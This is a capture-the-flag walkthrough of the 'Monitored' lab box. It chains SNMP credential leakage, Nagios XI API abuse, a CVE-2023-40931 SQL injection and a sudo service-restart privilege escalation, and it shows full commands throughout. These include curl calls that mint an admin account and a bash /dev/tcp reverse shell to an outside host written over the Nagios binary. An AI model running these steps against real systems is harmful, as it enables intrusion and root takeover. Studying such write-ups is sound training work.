Target IP: 10.10.11.248
Hostname: nagios.monitored.htb

Initial Reconnaissance

The TCP scan showed a Nagios XI stack, and adding the UDP scan revealed the real entry point.

nmap -p- -sC -sV 10.10.11.248
nmap -sU --top-ports 100 nagios.monitored.htb

22/tcp   open  ssh      OpenSSH 8.4p1 Debian
80/443   open  http     Apache 2.4.56 -> Nagios XI
389/tcp  open  ldap     OpenLDAP
5667/tcp open  tcpwrapped
161/udp  open  snmp

The web login wanted credentials I did not have yet. SNMP on 161/udp was more promising.

SNMP Leaks Credentials

The public community string was accepted, and walking the process table exposed a full command line with a password baked in.

snmpwalk -c public -v1 -t 10 nagios.monitored.htb -Oa

... "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"

That gave svc / XjH7VCehowpR1xZB.

Nagios XI: API Auth for a Disabled User

The svc account was disabled in the web interface, so the normal login failed. The Nagios XI API, however, still authenticated it and handed back a token that could be exchanged for a session.

curl -sk "https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1" \
  --data "username=svc&password=XjH7VCehowpR1xZB&valid_min=5"
# -> "auth_token": "585e0649..."
curl -sk "https://nagios.monitored.htb/nagiosxi/login.php?token=585e0649..."
# -> Set-Cookie: nagiosxi=...

With that cookie I was authenticated as svc. The instance reported Nagios XI 5.11.0.

SQL Injection to the Admin API Key

Nagios XI 5.11.0 is vulnerable to CVE-2023-40931, a SQL injection in admin/banner_message-ajaxhelper.php. Using the authenticated token, the public PoC drives sqlmap to dump the xi_users table.

python3 exploit.py -t http://10.10.11.248/nagiosxi -u svc -p XjH7VCehowpR1xZB

The dump included the administrator’s API key.

admin ... IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

Creating an Admin and Getting a Shell

The admin API key let me create a brand-new administrator account. The one catch is that the API only accepts a local email domain, so the address has to be @localhost.

curl -XPOST "http://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9...&pretty=1" \
  -d "username=qwer&password=qwer&name=qwer&email=qwer@localhost&auth_level=admin"
# {"success":"User account qwer was added successfully!"}

Logged in as a real admin, the Core Config Manager let me define a check command containing a reverse shell. Running it returned a shell as the nagios service user and the user flag.

connect to [10.10.14.20] from (UNKNOWN) [10.10.11.248] 58654
nagios@monitored:~$ cat user.txt

Privilege Escalation

sudo -l showed that nagios could manage services as root, including a wrapper script.

(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *

That script (re)starts the Nagios daemon as root. Critically, the daemon binary itself was writable by the nagios group.

-rwxrwxr-- 1 nagios nagios 717648 Nov  9  2023 /usr/local/nagios/bin/nagios

So I overwrote the binary with a reverse shell and asked the sudo-allowed script to restart the service.

cat > /usr/local/nagios/bin/nagios <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.20/6666 0>&1
EOF
sudo /usr/local/nagiosxi/scripts/manage_services.sh restart nagios

The service restart executed my script as root.

connect to [10.10.14.20] from (UNKNOWN) [10.10.11.248] 54080
root@monitored:/# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Takeaways

Monitored is a realistic look at a monitoring appliance. SNMP quietly leaking a service password through a process command line is a very real misconfiguration, and it opens up everything else. From there it is a Nagios XI exploit chain: an API that authenticates a disabled user, a SQL injection that yields the admin API key, and an API that mints new admins.

The root step is a classic sudo pitfall. A privileged service script is only as safe as the binary it launches, and here that binary was group-writable.